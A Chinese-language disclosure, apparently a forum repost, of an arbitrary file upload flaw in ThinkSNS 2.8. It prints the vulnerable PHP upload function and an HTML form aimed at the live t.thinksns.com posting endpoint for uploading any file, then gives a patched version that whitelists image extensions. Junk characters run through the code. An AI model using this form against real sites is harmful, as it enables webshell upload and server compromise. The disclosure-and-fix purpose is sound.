ThinkSNS 2.8任意文件上传漏洞及修复

admin

  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。
' l( i) m4 k# O* ~+ V
: v: |% p8 x# K" z2 \$ |/ U
\api\StatusesApi.class.php

function uploadpic(){
2 w* l9 h! w7 B7 d( ]      if( $_FILES['pic'] ){
     //执行上传操作
     $savePath =  $this->_getSaveTempPath();
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
: d5 S! Q7 }+ ?; b    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
       {
% p4 }; R0 r6 [% D8 c- V6 e        $result['boolen']    = 1;
; i+ Y; p5 h6 v1 Q3 m  Q# B% g6 h        $result['type_data'] = 'temp/'.$filename;
% T- \+ o" s( u  O% q        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
       } else {
1 Q/ ~- ]; s& I: k2 T  d        $result['boolen']    = 0;
        $result['message']   = '上传失败';
9 |; C2 R2 E1 B) n# T) }       }
& [" ~! ]% B" D+ I/ e* a! J" J+ Q- u     }else{
         $result['boolen']    = 0;
& L7 U) A& U5 ~         $result['message']   = '上传失败';
9 W0 a0 e# `7 G1 a1 O     }
/ j" z$ E+ ]: }return $result;
    }
9 X# M  _$ r; `9 @% Kunloadpic()方法没有对文件类型进行验证

可以构建表单, 选择任意文件, 提交到
/index.php?app=w3g&mod=Index&act=doPost
) F0 ~: K% l+ P% d
在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)
; K  x& b& z5 h: H

6 o0 E& w, T2 _, K' Q" Z: \  X在登录thinksns官方微博后,
5 E6 i) w8 S  f; P构建以下表单:

0 c+ T! b6 q- T6 O) I) [/ q1 ^- J) y<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
1 P4 @: K5 i0 b' T; r8 u) X* E8 z<textarea name="content">test</textarea>
file: <input id="file" type="file" name="pic" />
<input type="submit" value="Post" />
</form>
  ]+ [8 C# g8 o6 i4 Y去掉缩略图的前缀(small_ )
​修复方案：
1 v- y( V1 O* c

\api\StatusesApi.class.php
- L* L$ |( h, l$ ^& i, T4 r
+ Z: l9 ^; Y$ dfunction uploadpic(){
  \1 |$ ~) D; K- u7 B     /**
      * 20121018 @yelo
& J7 O% S. R, T9 }5 ?      * 增加上传类型验证
      */
     $pathinfo = pathinfo($_FILES['pic']['name']);
     $ext = $pathinfo['extension'];
$allowExts = array('jpg', 'png', 'gif', 'jpeg');

     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);

     if( $uploadCondition ){
8 Y; _7 U9 ]5 o# _$ \) W/ b; n     //执行上传操作
7 D. Q% z- G" s" k" i5 K, g     $savePath =  $this->_getSaveTempPath();
9 A) n3 l' `0 `1 p' ]     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
$ b; p& T7 {4 s- ^$ H9 [" W    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
/ i+ o4 ]  [' W3 p6 t$ S       {
2 N+ x' `& W8 M; u/ G7 s) b        $result['boolen']    = 1;
# i3 h+ A2 m4 `5 x        $result['type_data'] = 'temp/'.$filename;
2 D1 F) h' n0 {/ H        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
0 w0 |8 T: @2 U) c       } else {
        $result['boolen']    = 0;
        $result['message']   = '上传失败';
9 t! g( y: }; I5 m. O! h! ?       }
     }else{
. N- L4 \; q; @# y/ k. \         $result['boolen']    = 0;
         $result['message']   = '上传失败';
. s! h' D8 C: _4 |" O' @  U     }
return $result;
! h8 c( h3 d4 F& x. t) r$ @. A    }
  U& s+ q. w9 D* {5 |​
4 K" @! m1 R1 i7 U4 `' O( w
3 ~' f% v1 J% d* x9 Z+ v